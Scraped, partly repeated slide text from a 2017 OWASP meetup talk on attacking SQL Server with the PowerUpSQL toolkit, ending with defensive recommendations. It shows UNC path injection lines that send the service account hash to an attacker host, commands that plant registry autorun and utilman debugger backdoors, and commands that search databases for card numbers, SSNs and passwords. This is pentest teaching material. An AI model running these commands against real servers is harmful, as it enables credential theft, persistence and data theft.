Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 88: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 89: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 90: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
